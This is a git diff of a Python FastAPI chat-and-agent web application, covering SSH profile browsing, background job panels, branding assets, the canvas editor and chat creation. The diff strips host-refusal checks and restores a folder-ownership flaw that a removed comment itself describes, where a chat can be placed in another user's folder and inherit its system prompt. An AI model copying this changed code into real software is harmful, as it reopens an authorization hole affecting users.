# every later request to read for free. See services/agent/hosts.py.
|
||||
#
|
||||
# Not the last word -- `session.resolve` refuses one that was saved before an
|
||||
# administrator moved the switch, and has to, because a row can predate a
|
||||
# setting. This is here so the refusal arrives while somebody is looking at
|
||||
# the form that caused it rather than at an agent chat with no tools.
|
||||
resolved = hosts.restamp(profile)
|
||||
if refused := hosts.refusal(db, profile.host, profile.port, resolved=resolved):
|
||||
return refused
|
||||
|
||||
clash = db.scalar(
|
||||
select(SshProfile).where(
|
||||
SshProfile.owner_id == owner_id, SshProfile.name == profile.name
|
||||
@@ -219,12 +197,7 @@ async def profile_page(
|
||||
|
||||
@router.get("/api/agents/{profile_id}/browse")
|
||||
async def browse_profile(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
profile_id: str,
|
||||
path: str = "",
|
||||
pick: str = "dir",
|
||||
request: Request, db: Db, user: RequiredUser, profile_id: str, path: str = ""
|
||||
):
|
||||
"""One directory on the far side, as a fragment the picker swaps in.
|
||||
|
||||
@@ -244,11 +217,7 @@ async def browse_profile(
|
||||
entries: list = []
|
||||
error = ""
|
||||
|
||||
if refused := hosts.refusal_for(db, profile):
|
||||
# First, because this one opens a connection and the others only explain
|
||||
# why one would fail.
|
||||
error = refused
|
||||
elif hint := ssh_service.available():
|
||||
if hint := ssh_service.available():
|
||||
error = hint
|
||||
elif not profile.host_key:
|
||||
# connect_kwargs would raise the same thing, but a picker that opens on
|
||||
@@ -271,143 +240,6 @@ async def browse_profile(
|
||||
"parent": _parent_of(here),
|
||||
"entries": entries,
|
||||
"error": error,
|
||||
# Whether a file is a choice or only something to look at. The
|
||||
# directory picker wants the folder you are standing in; Canvas
|
||||
# wants the file you click. One listing, because a second copy is a
|
||||
# second place for the path arithmetic to be got subtly differently.
|
||||
"pick": "file" if pick == "file" else "dir",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
# --- Background jobs -----------------------------------------------------------
|
||||
# A job runs detached on the far side for as long as it takes -- a build, an
|
||||
# install, a test suite -- and until now the only way to see one was to ask the
|
||||
# model to call `job_list`. Something that outlives the reply that started it
|
||||
# needs a surface that outlives the reply too.
|
||||
#
|
||||
# Read-only listing and stopping sit **outside `agent/policy.py`**, which makes
|
||||
# this the fifth exception to "the modes govern the model, not the interface",
|
||||
# after the terminal panel, the directory browser, the project listing and
|
||||
# Canvas saving a file. The argument is the one those rest on: whoever owns the
|
||||
# credential could read the log with `cat` and stop the job with `kill`, and a
|
||||
# panel that asked permission to show what is already running would be a panel
|
||||
# nobody could use. `job_stop` as a *model* tool keeps its RISK_EXECUTE and its
|
||||
# approval card; nothing about what a model may do has changed.
|
||||
def _job_chat(db: Db, user: RequiredUser, chat_id: str):
|
||||
"""The chat, and the agent context its jobs belong to.
|
||||
|
||||
404 for a chat that is not this reader's, as everywhere else -- whether an
|
||||
id exists is not something to hand out. The agent context is what carries
|
||||
the connection, so a chat whose profile has been deleted or disabled has no
|
||||
jobs to show rather than an error to render.
|
||||
"""
|
||||
from lembas.db.models import Chat
|
||||
from lembas.services.agent import session as agent_session
|
||||
|
||||
chat = db.get(Chat, chat_id)
|
||||
if chat is None or chat.user_id != user.id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
|
||||
return chat, agent_session.resolve(db, chat, user)
|
||||
|
||||
|
||||
@router.get("/api/agents/{profile_id}/draft")
|
||||
async def draft_target(db: Db, user: RequiredUser, profile_id: str, dir: str = ""):
|
||||
"""The id the panels should use for a chat that does not exist yet.
|
||||
|
||||
Hung off the profile rather than the chat for the reason `browse` is: the
|
||||
caller is the *new*-chat composer, where the connection and the directory
|
||||
are the things being chosen. Ownership of the profile is the whole
|
||||
authorisation, as everywhere else in this module.
|
||||
|
||||
Deterministic, so asking twice for the same target gives the same id and
|
||||
finds the shell already running there rather than opening a second one.
|
||||
"""
|
||||
profile = _profile(db, user, profile_id)
|
||||
# A draft is what the terminal and the canvas open against before a chat
|
||||
# exists, so refusing here is refusing the whole new-chat path. `resolve`
|
||||
# would refuse it anyway once a chat existed; this stops the panel opening
|
||||
# on a target it will not be allowed to use.
|
||||
if refused := hosts.refusal_for(db, profile):
|
||||
raise HTTPException(status.HTTP_403_FORBIDDEN, refused)
|
||||
draft = draft_service.remember(user.id, profile.id, dir or profile.default_dir or "")
|
||||
return {"id": draft.id, "dir": draft.project_dir}
|
||||
|
||||
|
||||
@router.get("/api/chats/{chat_id}/jobs")
|
||||
async def jobs_chip(request: Request, db: Db, user: RequiredUser, chat_id: str):
|
||||
"""How many jobs are running, as the chip in the composer row.
|
||||
|
||||
Always rendered, even at zero -- the chip is what carries `hx-trigger`, so a
|
||||
fragment that collapsed to nothing would stop polling and the first job
|
||||
started afterwards would never appear. The template renders an empty span in
|
||||
that case, so the row does not reflow as jobs come and go.
|
||||
"""
|
||||
chat, agent = _job_chat(db, user, chat_id)
|
||||
views = jobs_service.listing(db, chat_id) if agent is not None else []
|
||||
return render(
|
||||
request,
|
||||
"chat/_jobs_chip.html",
|
||||
{"chat": chat, "jobs": views, "running": sum(1 for view in views if view.running)},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/api/chats/{chat_id}/jobs/panel")
|
||||
async def jobs_panel(request: Request, db: Db, user: RequiredUser, chat_id: str, job: str = ""):
|
||||
"""The list, and one job's output when a row is expanded.
|
||||
|
||||
The log is fetched only for the named job. Reading every job's tail on every
|
||||
poll would be one SSH connection per job per five seconds, for output nobody
|
||||
is looking at.
|
||||
"""
|
||||
chat, agent = _job_chat(db, user, chat_id)
|
||||
views = jobs_service.listing(db, chat_id) if agent is not None else []
|
||||
|
||||
body = ""
|
||||
error = ""
|
||||
if job and agent is not None:
|
||||
if not jobs_service.valid_id(job) or not any(view.id == job for view in views):
|
||||
# Namespaced by chat on the far side, and checked here as well: the
|
||||
# path is built from the chat id, but the route takes the job id
|
||||
# from the URL and must not read one that belongs elsewhere.
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
|
||||
try:
|
||||
reading = await jobs_service.read(agent, job)
|
||||
body = reading.body
|
||||
except ExecError as exc:
|
||||
error = exc.message
|
||||
|
||||
return render(
|
||||
request,
|
||||
"chat/_jobs_panel.html",
|
||||
{"chat": chat, "jobs": views, "open_job": job, "body": body, "error": error},
|
||||
)
|
||||
|
||||
|
||||
@router.post("/api/chats/{chat_id}/jobs/{job_id}/stop")
|
||||
async def stop_job(request: Request, db: Db, user: RequiredUser, chat_id: str, job_id: str):
|
||||
chat, agent = _job_chat(db, user, chat_id)
|
||||
views = jobs_service.listing(db, chat_id) if agent is not None else []
|
||||
if agent is None or not jobs_service.valid_id(job_id):
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
|
||||
if not any(view.id == job_id for view in views):
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
|
||||
|
||||
error = ""
|
||||
try:
|
||||
await jobs_service.stop(agent, job_id)
|
||||
except ExecError as exc:
|
||||
error = exc.message
|
||||
|
||||
return render(
|
||||
request,
|
||||
"chat/_jobs_panel.html",
|
||||
{
|
||||
"chat": chat,
|
||||
"jobs": jobs_service.listing(db, chat_id),
|
||||
"open_job": "",
|
||||
"body": "",
|
||||
"error": error,
|
||||
},
|
||||
)
|
||||
|
||||
@@ -436,18 +268,6 @@ async def check_profile(request: Request, db: Db, user: RequiredUser, profile_id
|
||||
"""
|
||||
profile = _profile(db, user, profile_id)
|
||||
|
||||
# Before anything is sent. Check is the one button here that opens a socket,
|
||||
# so a refused connection must not get one -- and the reason belongs in the
|
||||
# place somebody just pressed rather than in a log.
|
||||
#
|
||||
# The other moment a lookup is affordable, and the one that catches a name
|
||||
# whose DNS moved after it was saved: this button is how somebody finds out
|
||||
# a connection has stopped working, so it is the right place to find out why.
|
||||
hosts.restamp(profile)
|
||||
db.commit()
|
||||
if refused := hosts.refusal_for(db, profile):
|
||||
return render(request, "agents/_check.html", {"profile": profile, "error": refused})
|
||||
|
||||
try:
|
||||
line, fingerprint = await ssh_service.capture_host_key(
|
||||
profile.host, profile.port, timeout=profile.connect_timeout
|
||||
|
||||
@@ -1,65 +0,0 @@
|
||||
"""Serving what an administrator customised.
|
||||
|
||||
Both routes here are deliberately **unauthenticated**, and for the same reason
|
||||
the manifest and the offline page are: the sign-in page needs the logo before
|
||||
anybody has signed in, and a browser fetches a stylesheet and a launcher icon
|
||||
outside any page's session.
|
||||
|
||||
What that exposes is a file an administrator uploaded on purpose to be shown to
|
||||
everybody, under a random filename, in a format that cannot execute in an
|
||||
`<img>` — `services/uploads.py:ALLOWED_TYPES` is what makes the last part true,
|
||||
and it is why SVG is not in it.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
from fastapi import APIRouter, HTTPException, Response, status
|
||||
from fastapi.responses import FileResponse
|
||||
|
||||
from lembas.services import branding as branding_service
|
||||
from lembas.services import uploads
|
||||
|
||||
router = APIRouter(tags=["branding"])
|
||||
|
||||
|
||||
@router.get("/branding.css", include_in_schema=False)
|
||||
async def branding_css() -> Response:
|
||||
"""The custom themes and the custom CSS.
|
||||
|
||||
A route rather than an inline `<style>` in `base.html`, which is a security
|
||||
property before it is a caching one: an external stylesheet has no HTML
|
||||
context to escape from, so an administrator's CSS cannot become markup
|
||||
however it is written. Inline, the same text would be one `</style>` away
|
||||
from being a script on every page.
|
||||
|
||||
Cached hard and busted by a query string. `base.html` links this with
|
||||
`?v={{ brand.revision }}`, a hash of everything below, so the URL changes
|
||||
exactly when the stylesheet does. Without that the browser's cache is what
|
||||
decides when a rebrand takes effect, which is a save that looks like it
|
||||
worked and did nothing.
|
||||
"""
|
||||
brand = branding_service.snapshot()
|
||||
return Response(
|
||||
branding_service.stylesheet(brand),
|
||||
media_type="text/css",
|
||||
headers={"Cache-Control": "public, max-age=604800"},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/branding/{filename}", include_in_schema=False)
|
||||
async def branding_asset(filename: str) -> Response:
|
||||
"""A logo, a favicon, or a launcher icon derived from one."""
|
||||
path = uploads.branding_image_path(filename)
|
||||
if path is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "No such file.")
|
||||
return FileResponse(
|
||||
path,
|
||||
media_type=uploads.media_type_for(filename),
|
||||
# Public, unlike a model avatar: this is served to somebody who is not
|
||||
# signed in, so there is nothing private to keep out of a shared cache.
|
||||
# Names are random, so a replacement is a new URL.
|
||||
headers={
|
||||
"Cache-Control": "public, max-age=604800",
|
||||
"X-Content-Type-Options": "nosniff",
|
||||
},
|
||||
)
|
||||
@@ -1,242 +0,0 @@
|
||||
"""The canvas panel: open a file, read it, change it, save it.
|
||||
|
||||
Every route answers with an HTML fragment, errors included. An exception page
|
||||
swapped into a side panel is a blank side panel, and a panel that goes blank
|
||||
tells somebody nothing about why.
|
||||
|
||||
`GET` never moves the active tab. There is no CSRF token in this application and
|
||||
the session cookie is SameSite Lax, so a state-changing GET is a link somebody
|
||||
can be made to follow -- and one of the things a tab can be is a file on
|
||||
somebody's server.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import logging
|
||||
|
||||
from fastapi import APIRouter, Form, HTTPException, Request, Response, status
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser
|
||||
from lembas.db.models import Chat, User
|
||||
from lembas.services import canvas as canvas_service
|
||||
from lembas.services import generation as generation_service
|
||||
from lembas.services.agent import draft as draft_service
|
||||
from lembas.services.agent.base import Conflict
|
||||
from lembas.services.markdown import highlight_code, render_markdown
|
||||
from lembas.web.templating import templates
|
||||
|
||||
log = logging.getLogger(__name__)
|
||||
|
||||
router = APIRouter(prefix="/api/chats", tags=["canvas"])
|
||||
|
||||
|
||||
def _owned_chat(db: DBSession, chat_id: str, user_id: str) -> Chat:
|
||||
"""404 rather than 403 for somebody else's chat: whether it exists at all is
|
||||
not this account's business.
|
||||
|
||||
A draft id resolves to a transient `Chat` -- constructed, never saved --
|
||||
which is what lets the canvas work on the new-chat screen without any of the
|
||||
six sources learning that drafts exist. See services/agent/draft.py.
|
||||
"""
|
||||
if draft_service.is_draft(chat_id):
|
||||
draft = draft_service.get(chat_id, user_id)
|
||||
if draft is None:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
|
||||
return draft_service.as_chat(draft)
|
||||
|
||||
chat = db.get(Chat, chat_id)
|
||||
if chat is None or chat.user_id != user_id:
|
||||
raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
|
||||
return chat
|
||||
|
||||
|
||||
def _remember_tabs(chat: Chat, state: dict) -> bool:
|
||||
"""Put the tab strip back where it came from. True when it was a draft.
|
||||
|
||||
A draft's tabs live in the registry rather than on a row, so the two write
|
||||
paths below fork here rather than each remembering to check.
|
||||
"""
|
||||
if not draft_service.is_draft(chat.id):
|
||||
return False
|
||||
draft = draft_service.get(chat.id, chat.user_id)
|
||||
if draft is not None:
|
||||
draft.canvas_json = dict(state or {})
|
||||
return True
|
||||
|
||||
|
||||
async def _panel(
|
||||
request: Request,
|
||||
db: DBSession,
|
||||
user: User,
|
||||
chat: Chat,
|
||||
*,
|
||||
key: str = "",
|
||||
message: str = "",
|
||||
conflict: canvas_service.Doc | None = None,
|
||||
mine: str = "",
|
||||
) -> Response:
|
||||
"""The strip and whichever tab is in front, as one fragment.
|
||||
|
||||
Both together, always. Rendering only the body would leave the strip showing
|
||||
a tab that is no longer there after a close, and rendering only the strip
|
||||
would leave the previous file on screen after a switch.
|
||||
"""
|
||||
wanted = key or canvas_service.active_of(chat)
|
||||
doc: canvas_service.Doc | None = None
|
||||
error = message
|
||||
if wanted and not error:
|
||||
try:
|
||||
doc = await canvas_service.load(db, user, chat, wanted)
|
||||
except canvas_service.Refused as exc:
|
||||
error = str(exc)
|
||||
except Exception: # pragma: no cover - a machine going away mid-request
|
||||
log.exception("canvas could not open %s", wanted)
|
||||
error = "That could not be opened."
|
||||
|
||||
body = ""
|
||||
if doc is not None and doc.text:
|
||||
# The one `|safe` in this panel, and it is safe because pygments escapes
|
||||
# what it is given. Markdown goes through render_markdown, the single
|
||||
# path in this application allowed to emit HTML. Everything else -- the
|
||||
# editor's contents, the titles, the paths -- is escaped by Jinja.
|
||||
body = render_markdown(doc.text) if doc.markdown else highlight_code(doc.text, doc.language)
|
||||
|
||||
return templates.TemplateResponse(
|
||||
request,
|
||||
"chat/_canvas_inner.html",
|
||||
{
|
||||
"user": user,
|
||||
"chat": chat,
|
||||
"tabs": canvas_service.tabs_of(chat),
|
||||
"active": wanted,
|
||||
"doc": doc,
|
||||
"rendered": body,
|
||||
"error": error,
|
||||
"conflict": conflict,
|
||||
"mine": mine,
|
||||
"canvas_agent": canvas_service.agent_ready(db, user, chat) is not None,
|
||||
# What the "Open a file" dialog browses. The endpoint it calls is
|
||||
# hung off the profile rather than the chat, so the button has to
|
||||
# carry the profile -- and the directory it should start in, or it
|
||||
# opens at the account's home and every path is a walk from there.
|
||||
"agent_profile_id": chat.ssh_profile_id or "",
|
||||
"agent_dir": chat.project_dir or "",
|
||||
},
|
||||
)
|
||||
|
||||
|
||||
@router.get("/{chat_id}/canvas")
|
||||
async def show(request: Request, db: Db, user: RequiredUser, chat_id: str, key: str = ""):
|
||||
"""Whatever is in front, or the tab named by `?key=`.
|
||||
|
||||
Read-only in every sense: a `?key=` that is not open does not become open,
|
||||
it is simply shown. Opening is a POST.
|
||||
"""
|
||||
chat = _owned_chat(db, chat_id, user.id)
|
||||
return await _panel(request, db, user, chat, key=key)
|
||||
|
||||
|
||||
@router.post("/{chat_id}/canvas/tabs")
|
||||
async def open_tab(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
chat_id: str,
|
||||
key: str = Form(...),
|
||||
title: str = Form(""),
|
||||
):
|
||||
"""Open a file, or bring an already-open one to the front.
|
||||
|
||||
Idempotent, because opening what is already open is switching to it -- the
|
||||
same reason `generation.ensure` is idempotent.
|
||||
"""
|
||||
chat = _owned_chat(db, chat_id, user.id)
|
||||
|
||||
# Two of the six sources need a real row behind them, and one of those is a
|
||||
# hole rather than an inconvenience -- see draft.SOURCES_NEEDING_A_CHAT.
|
||||
# Refused by source name, here, rather than left to fall out of an id
|
||||
# comparison somewhere further in.
|
||||
if draft_service.is_draft(chat.id) and draft_service.refuses(key.split(":", 1)[0]):
|
||||
return await _panel(
|
||||
request, db, user, chat,
|
||||
message="That can only be opened once this chat exists. Send a message first.",
|
||||
)
|
||||
|
||||
try:
|
||||
doc = await canvas_service.load(db, user, chat, key)
|
||||
except canvas_service.Refused as exc:
|
||||
return await _panel(request, db, user, chat, message=str(exc))
|
||||
|
||||
state = canvas_service.open_tab(
|
||||
dict(chat.canvas_json or {}),
|
||||
{"key": doc.key, "title": title.strip() or doc.title, "source": doc.key.split(":")[0]},
|
||||
)
|
||||
# Reassigned rather than mutated: an in-place edit of a JSON column is not
|
||||
# reliably detected as a change.
|
||||
chat.canvas_json = state
|
||||
if not _remember_tabs(chat, state):
|
||||
db.commit()
|
||||
|
||||
# A reply running right now holds its own snapshot, seeded when it started.
|
||||
# Without this the next frame it sends would contradict what was just
|
||||
# swapped in -- the same reach into live state `request_stop` makes.
|
||||
live = generation_service.running_for(chat.id)
|
||||
if live is not None:
|
||||
canvas_service.open_tab(live.canvas, {"key": doc.key, "title": doc.title})
|
||||
|
||||
return await _panel(request, db, user, chat, key=doc.key)
|
||||
|
||||
|
||||
@router.post("/{chat_id}/canvas/tabs/close")
|
||||
async def close_tab(
|
||||
request: Request, db: Db, user: RequiredUser, chat_id: str, key: str = Form(...)
|
||||
):
|
||||
chat = _owned_chat(db, chat_id, user.id)
|
||||
chat.canvas_json = canvas_service.close_tab(dict(chat.canvas_json or {}), key)
|
||||
if not _remember_tabs(chat, chat.canvas_json):
|
||||
db.commit()
|
||||
|
||||
live = generation_service.running_for(chat.id)
|
||||
if live is not None:
|
||||
canvas_service.close_tab(live.canvas, key)
|
||||
|
||||
return await _panel(request, db, user, chat)
|
||||
|
||||
|
||||
@router.post("/{chat_id}/canvas/save")
|
||||
async def save(
|
||||
request: Request,
|
||||
db: Db,
|
||||
user: RequiredUser,
|
||||
chat_id: str,
|
||||
key: str = Form(...),
|
||||
text: str = Form(""),
|
||||
revision: str = Form(""),
|
||||
):
|
||||
"""Write it back.
|
||||
|
||||
A conflict comes back as a card, at 200, so htmx swaps it: the panel has to
|
||||
be able to show Overwrite, Discard mine and Show what changed, and none of
|
||||
those can be offered from an error status htmx will not render. Never save
|
||||
silently over a change; never discard silently either.
|
||||
"""
|
||||
chat = _owned_chat(db, chat_id, user.id)
|
||||
|
||||
try:
|
||||
await canvas_service.save(db, user, chat, key, text, revision)
|
||||
except Conflict:
|
||||
try:
|
||||
theirs = await canvas_service.load(db, user, chat, key)
|
||||
except canvas_service.Refused as exc:
|
||||
return await _panel(request, db, user, chat, key=key, message=str(exc))
|
||||
return await _panel(request, db, user, chat, key=key, conflict=theirs, mine=text)
|
||||
except canvas_service.Refused as exc:
|
||||
return await _panel(request, db, user, chat, key=key, message=str(exc))
|
||||
except Exception: # pragma: no cover - the machine going away mid-write
|
||||
log.exception("canvas could not save %s", key)
|
||||
return await _panel(
|
||||
request, db, user, chat, key=key, message="That could not be saved."
|
||||
)
|
||||
|
||||
return await _panel(request, db, user, chat, key=key)
|
||||
+42
-650
@@ -8,23 +8,19 @@ import logging
|
||||
import time
|
||||
from collections.abc import AsyncIterator
|
||||
from datetime import UTC, datetime
|
||||
from types import SimpleNamespace
|
||||
|
||||
from fastapi import APIRouter, Depends, Form, HTTPException, Request, status
|
||||
from fastapi.responses import HTMLResponse, JSONResponse, Response, StreamingResponse
|
||||
from sqlalchemy import and_, func, or_, select
|
||||
from sqlalchemy import func, select
|
||||
from sqlalchemy.orm import Session as DBSession
|
||||
|
||||
from lembas.api.deps import Db, RequiredUser, require_permission
|
||||
from lembas.db.models import (
|
||||
KIND_AGENT,
|
||||
KIND_CHAT,
|
||||
KIND_MESSAGES,
|
||||
KINDS,
|
||||
ROLE_ASSISTANT,
|
||||
ROLE_USER,
|
||||
Chat,
|
||||
Folder,
|
||||
Message,
|
||||
Model,
|
||||
User,
|
||||
@@ -36,14 +32,10 @@ from lembas.services import chat as chat_service
|
||||
from lembas.services import compaction as compaction_service
|
||||
from lembas.services import files as files_service
|
||||
from lembas.services import generation as generation_service
|
||||
from lembas.services import interaction, settings_store, sse
|
||||
from lembas.services import metrics as metrics_service
|
||||
from lembas.services import prompts as prompts_service
|
||||
from lembas.services import reports as reports_service
|
||||
from lembas.services import steps as steps_service
|
||||
from lembas.services import tokens as tokens_service
|
||||
from lembas.services import settings_store, sse
|
||||
from lembas.services import tools as tools_service
|
||||
from lembas.services.agent import draft as draft_service
|
||||
from lembas.services.agent import policy as agent_policy
|
||||
from lembas.services.agent import terminal as terminal_service
|
||||
from lembas.services.markdown import escape_text, render_markdown
|
||||
@@ -57,26 +49,12 @@ router = APIRouter(prefix="/api/chats", tags=["chats"])
|
||||
# Well under nginx's 60s default; see services/sse.py:KEEPALIVE.
|
||||
KEEPALIVE_AFTER = 15.0
|
||||
|
||||
# How often the metrics chips are re-sent when nothing else has changed. The
|
||||
# reply's version does not move while a tool runs on the far machine, but its
|
||||
# clock does, so without this the counts and tokens/second stand still for most
|
||||
# of a long agent reply's wall time. A second is slow enough to be free and fast
|
||||
# enough that the numbers read as live.
|
||||
METRICS_INTERVAL = 1.0
|
||||
|
||||
# How many prompts may wait behind a reply at once. The terminal panel's Auto
|
||||
# send is what this exists for: a `for` loop in a shell can produce commands
|
||||
# faster than any model answers them, and a bound with a sentence attached is
|
||||
# better than four hundred rows nobody meant to write.
|
||||
MAX_QUEUED = 10
|
||||
|
||||
# Which tools a request may compel the model to call. An allow list rather than
|
||||
# a passthrough: this becomes `tool_choice`, and a name read straight off a form
|
||||
# would let anyone who can send a message decide what the model must do next.
|
||||
# Being on this list is not permission to *use* the tool -- `resolve_tools` still
|
||||
# decides that, and forcing one that was never offered simply does nothing.
|
||||
FORCEABLE_TOOLS = frozenset({"image_generate"})
|
||||
|
||||
# How many things one chat may have switched off. There are a dozen families and
|
||||
# sixty skills at most, so this is not a limit anybody reaches by hand -- it is
|
||||
# there so a crafted POST cannot grow the column without bound.
|
||||
@@ -92,53 +70,6 @@ def _owned_chat(db: DBSession, chat_id: str, user_id: str) -> Chat:
|
||||
return chat
|
||||
|
||||
|
||||
def _adopt_draft(db: DBSession, user: User, draft_id: str, chat: Chat) -> None:
|
||||
"""Hand the new-chat screen's shell and open files to the chat it became.
|
||||
|
||||
Between `_new_chat` and the first message deliberately: the chat has an id by
|
||||
here, and `generation.ensure` below has not yet started a reply that would
|
||||
read `chat.canvas_json`.
|
||||
|
||||
The shell is only adopted when it is a shell on the same target. `_new_chat`
|
||||
settles `project_dir` last -- an empty one falls back to the connection's own
|
||||
login directory -- so the comparison is against the chat as resolved, never
|
||||
against what the form said. On a mismatch the session is left alone rather
|
||||
than transplanted onto a chat that says it runs somewhere else; it belongs to
|
||||
whatever draft it was opened under and is reaped on idle.
|
||||
"""
|
||||
if not draft_id or not draft_service.is_draft(draft_id):
|
||||
return
|
||||
draft = draft_service.get(draft_id, user.id)
|
||||
if draft is None:
|
||||
return
|
||||
|
||||
matches = (
|
||||
chat.kind == KIND_AGENT
|
||||
and draft.profile_id == (chat.ssh_profile_id or "")
|
||||
and draft.project_dir == (chat.project_dir or "")
|
||||
)
|
||||
if not matches:
|
||||
return
|
||||
|
||||
session = terminal_service.peek(draft_id)
|
||||
if session is not None:
|
||||
terminal_service.rekey(draft_id, chat.id)
|
||||
|
||||
# Only what a chat can actually reopen. A tab whose source needs a row it
|
||||
# never had is dropped rather than carried across to fail on first click.
|
||||
tabs = dict(draft.canvas_json or {})
|
||||
kept = [
|
||||
tab
|
||||
for tab in tabs.get("tabs") or []
|
||||
if not draft_service.refuses(str(tab.get("key", "")).split(":", 1)[0])
|
||||
]
|
||||
if kept:
|
||||
chat.canvas_json = {**tabs, "tabs": kept}
|
||||
db.commit()
|
||||
|
||||
draft_service.forget(draft_id)
|
||||
|
||||
|
||||
def _new_chat(
|
||||
db: DBSession,
|
||||
user: User,
|
||||
@@ -151,8 +82,6 @@ def _new_chat(
|
||||
project_dir: str = "",
|
||||
agent_mode: str = "",
|
||||
reasoning_effort: str = "",
|
||||
scope_off: frozenset[str] = frozenset(),
|
||||
skills_off: frozenset[str] = frozenset(),
|
||||
) -> Chat:
|
||||
"""Create a chat row, resolving which model it should use.
|
||||
|
||||
@@ -166,25 +95,7 @@ def _new_chat(
|
||||
offered the control -- by which point the model had already answered under
|
||||
the wrong rules. The reasoning effort is accepted for the same reason, and
|
||||
wins over the model's default: an explicit choice beats an inherited one.
|
||||
|
||||
A folder's own defaults fill in anything the request left empty, and nothing
|
||||
it filled in. That order is the point: the folder says what this piece of
|
||||
work usually needs, and the screen in front of somebody says what they want
|
||||
this time. The folder's system prompt is deliberately not among them -- it
|
||||
is read at request time so that editing the folder later reaches the chats
|
||||
already in it.
|
||||
"""
|
||||
folder = db.get(Folder, folder_id) if folder_id else None
|
||||
if folder is not None and folder.user_id != user.id:
|
||||
folder = None
|
||||
if folder is not None:
|
||||
model_id = model_id or folder.model_id
|
||||
kind = kind or folder.kind
|
||||
if kind == KIND_AGENT:
|
||||
ssh_profile_id = ssh_profile_id or folder.ssh_profile_id
|
||||
project_dir = project_dir or folder.project_dir
|
||||
agent_mode = agent_mode or folder.agent_mode
|
||||
|
||||
chosen = None
|
||||
if model_id:
|
||||
match = next(
|
||||
@@ -213,13 +124,7 @@ def _new_chat(
|
||||
profile = _agent_target(db, user, kind, ssh_profile_id)
|
||||
chat = Chat(
|
||||
user_id=user.id,
|
||||
# `folder`, not `folder_id`: the raw value is what the request asked
|
||||
# for, and the lines above already discarded it when it names somebody
|
||||
# else's folder. Storing the raw one put the chat there anyway -- so the
|
||||
# ownership check governed which *seeds* were applied and not where the
|
||||
# chat actually went, and a folder's system prompt is read on every turn
|
||||
# from wherever the chat sits.
|
||||
folder_id=folder.id if folder is not None else None,
|
||||
folder_id=folder_id or None,
|
||||
model_id=chosen[0] if chosen else "",
|
||||
connection_id=chosen[1] if chosen else None,
|
||||
temporary=temporary,
|
||||
@@ -249,24 +154,6 @@ def _new_chat(
|
||||
chat.params_json = {k: v for k, v in chat.params_json.items() if k != "reasoning_effort"}
|
||||
elif wanted_effort in chat_service.EFFORTS:
|
||||
chat.params_json = {**chat.params_json, "reasoning_effort": wanted_effort}
|
||||
|
||||
# What the scope menu was set to before the first word. Only the *off* ones
|
||||
# are written, because absent means on and one representation of "on" is
|
||||
# what makes "why is this off?" have a single answer.
|
||||
#
|
||||
# This narrows and can never widen: `resolve_tools` applies `scope_json`
|
||||
# after the capability, permission and instance gates, so a crafted request
|
||||
# naming a gate that was never offered switches off something that was not
|
||||
# on -- which is exactly nothing. That is why these need no validation
|
||||
# against the offered set here.
|
||||
scoped = dict.fromkeys(scope_off, False)
|
||||
scoped_skills = dict.fromkeys(skills_off, False)
|
||||
if scoped or scoped_skills:
|
||||
chat.scope_json = {
|
||||
**(chat.scope_json or {}),
|
||||
**({"families": scoped} if scoped else {}),
|
||||
**({"skills": scoped_skills} if scoped_skills else {}),
|
||||
}
|
||||
db.add(chat)
|
||||
db.commit()
|
||||
return chat
|
||||
@@ -286,16 +173,6 @@ async def start_chat(
|
||||
project_dir: str = Form(""),
|
||||
agent_mode: str = Form(""),
|
||||
reasoning_effort: str = Form(""),
|
||||
draft_id: str = Form(""),
|
||||
# The scope menu, as it stood before the first word. `scope_all` names every
|
||||
# gate the menu drew and is always submitted; `scope_on` names only the
|
||||
# ticked ones, because that is all a browser sends. The difference is what
|
||||
# was switched off -- see the note in `chat/_composer.html` for why the
|
||||
# control is not simply inverted.
|
||||
scope_all: list[str] = Form(default=[]),
|
||||
scope_on: list[str] = Form(default=[]),
|
||||
scope_skill_all: list[str] = Form(default=[]),
|
||||
scope_skill_on: list[str] = Form(default=[]),
|
||||
) -> Response:
|
||||
"""Create a chat from its first message.
|
||||
|
||||
@@ -319,12 +196,8 @@ async def start_chat(
|
||||
project_dir=project_dir,
|
||||
agent_mode=agent_mode,
|
||||
reasoning_effort=reasoning_effort,
|
||||
scope_off=frozenset(scope_all) - frozenset(scope_on),
|
||||
skills_off=frozenset(scope_skill_all) - frozenset(scope_skill_on),
|
||||
)
|
||||
|
||||
_adopt_draft(db, user, draft_id, chat)
|
||||
|
||||
user_message = chat_service.create_message(db, chat, ROLE_USER, content)
|
||||
if file_ids:
|
||||
files_service.claim(db, ids=file_ids, user_id=user.id, message_id=user_message.id)
|
||||
@@ -728,7 +601,7 @@ async def keep_chat(db: Db, user: RequiredUser, chat_id: str) -> Response:
|
||||
|
||||
@router.get("/unread")
|
||||
async def unread_poll(db: Db, user: RequiredUser) -> Response:
|
||||
"""Dots for the sidebar, and an announcement for anything newly arrived.
|
||||
"""Dots for the sidebar, and a toast for anything newly arrived.
|
||||
|
||||
Polled rather than pushed: a browser sitting on a different chat has no
|
||||
open connection to the one that finished, and a second always-on channel
|
||||
@@ -736,19 +609,6 @@ async def unread_poll(db: Db, user: RequiredUser) -> Response:
|
||||
|
||||
Returns out-of-band spans so only the dots change -- re-rendering the whole
|
||||
sidebar would reset the folder open/closed state on every tick.
|
||||
|
||||
**Everything that can arrive is announced, not only chats.** The dots have
|
||||
covered Reports and Messages since those sections existed, but the
|
||||
announcement did not: only a chat reply produced an `HX-Trigger`, so a
|
||||
scheduled run that filed a report or posted into Messages lit a dot in the
|
||||
corner and said nothing at all. That is precisely the arrival nobody is
|
||||
